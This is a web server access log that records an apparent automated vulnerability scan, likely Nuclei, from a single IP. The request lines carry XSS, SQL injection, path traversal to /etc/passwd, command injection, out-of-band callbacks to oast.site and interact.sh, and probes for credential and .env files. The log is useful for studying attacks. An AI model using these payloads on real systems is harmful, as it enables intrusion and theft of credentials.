[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup/wizard.php HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /composer.json HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /miscadmin HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /overview.asp HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /happyaxis.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ccm/system/panels/page/preview_as_user/preview?cID=\"></iframe><svg/onload=alert(\"380CyBDhXUHWrk9SxKlxazzKSfE\")> HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webstats/awstats.pl HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /password.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /explorer.html HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/install HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/login HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webvpn.html HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config.properties HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config.rb HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cfcache.map HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/ HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dologin.action HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup/setupcluster-start.action HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webui/logoutconfirm.html?logon_hash=1 HTTP/1.1" 196
[09/Jan/2026:10:51:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/default.json HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/auth/login HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /XM4rA4.json HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /miscadmin HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /studio/login HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mailsms/s?func=ADMIN:appState&dumpConfig=/ HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SetupWizard.aspx HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pools/default/buckets HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /credentials.json HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plus/carbuyaction.php?dopost=return&code=../../ HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /debug/vars HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /member/ajax_membergroup.php?action=post&membergroup=@`'`/*!50000Union+*/+/*!50000select+*/+md5(999999999)+--+@`'` HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/ HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /emap/webservice/gis/soap/bitmap HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plus/flink.php?dopost=save&c=cat%20/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.json HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Login HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.dev.local HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cblr/ HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CardSolution/card/accessControl/swingCardRecord/deleteFtp HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/sharelinks/1.0/link?url=https://d5g6sfahausljekepl20o3zbhg3g5qk15.oast.site/ HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /evo-apigw/evo-oauth/oauth/token HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upload.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WebInterface/ HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php?image_id=123 HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Login/Login HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/collibra.properties HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cfusion/debug/cf_debugFr.cfm?userPage=javascript:alert(1) HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///bin///querybuilder.feed HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index2.html HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_all_dbs HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cobbler_api HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.dbeaver/data-sources.json HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WebInterface/login.html HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/3 HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/login_mgr?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /dip/api/login HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /runners/start HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /composer.lock HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config.json HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET // HTTP/1.1" 3426
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /concrete5/index.php/install HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Upload/upload_file.php?l=test HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /itop/setup/wizard.php HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.xml HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /crossdomain.xml HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_users/_all_docs HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cloud-config.txt HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Login/NuiLogin.aspx HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /classes/phpmailer/class.cs_phpmailer.php?classes_dir=../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.aspx HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WebInterface/ HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wizard/wizard.cs HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.chef/config.rb HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login?next HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /csz-cms/plugin/article/search?p=3D1%27%22)%20AND%20(SELECT%203910%20FROM%20(SELECT(SLEEP(6)))qIap)--%20ogLS HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/asst/system_setPassWordValidate.action/capture_handle.action?captureFlag=true&captureCommand=ping%20d5g6sfahausljekepl20dj64szrgtxbc4.oast.site%20index.pcap HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/login HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/file?path=../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cucm-uds/users HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /crx/de/index.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //bitrix/redirect.php?event1=demo_out&event2=sm_demo&event3=pdemo&goto=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /account/login HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /contao/login HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //advanced-elements/form/index.html?formsubmit=12&formaction1=submit&InputField-11939054842=mrs&InputField-21939054842=190806&InputField-31939054842=403105&InputField-41939054842=2&InputField-51939054842&InputField-61939054842=1&captcha_token_id=1\"><script>alert(document.domain)<%2fscript>ufs5prh3qfe&captchaphrase1939054842=1 HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /logIn HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /core HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/schema.rb HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htaccess.txt HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.zul HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config.properties.bak HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /libs/granite/core/content/login.html/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /status.php HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/dialog/config.php?adminDirHand=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database_credentials.inc HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/webproc HTTP/1.1" 199
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /miscadmin HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.dbeaver/credentials-config.json HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sysmgmt/2015/bmc/info HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plus/download.php?open=1&link=aHR0cHM6Ly9pbnRlcmFjdC5zaA== HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/ck/domenu.cgi HTTP/1.1" 199
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /data/login HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /sysmgmt/2015/bmc/session HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /deltaweb/hmi_login.asp HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data?get=prodServerGen HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.php HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ccm-web/ HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/credentials.json HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //deployment.ini HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.drone.yml HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /client/index.html HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/servlet/oauth/view-consumer-info HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vendor/webmozart/assert/.composer-auth.json HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /desktop.ini HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/cosmobdf.cgi?function=0 HTTP/1.1" 199
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.1.json HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /covenantuser/login HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /web/rest/v1/login/sessions HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.development.local HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logon/LogonPoint/custom.html HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET https://trade.kingston.com.hk:443//metadata/v1.json HTTP/1.1" 226
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/images/favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log/development.log HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /restgui/start.html HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?hc=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 3426
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?dev HTTP/1.1" 3426
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v3/users HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /JavaScriptServlet HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /exportFile?UID=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /finish-installation/register HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /email/unsubscribed?email=test@gmail.com%27\\%22%3E%3Csvg/onload=alert(/xss/)%3E HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Login.aspx HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/logo_extra_upload.cgi HTTP/1.1" 199
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/login/?next=/admin/ HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index2.html HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /hedwig.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/4 HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/ExportSettings.sh HTTP/1.1" 199
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.php?mod[]=auto HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /NON_EXISTING_PATH/ HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /scgi-bin/platform.cgi?page=portalLogin.htm&portal=SSLVPN\"><script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/diarise/download.php?calendar=file:///etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/luci?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /settings.py HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/login/?next=/admin/ HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.composer/composer.json HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src/collibra.properties HTTP/1.1" 196
[09/Jan/2026:10:51:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/config.json HTTP/1.1" 196
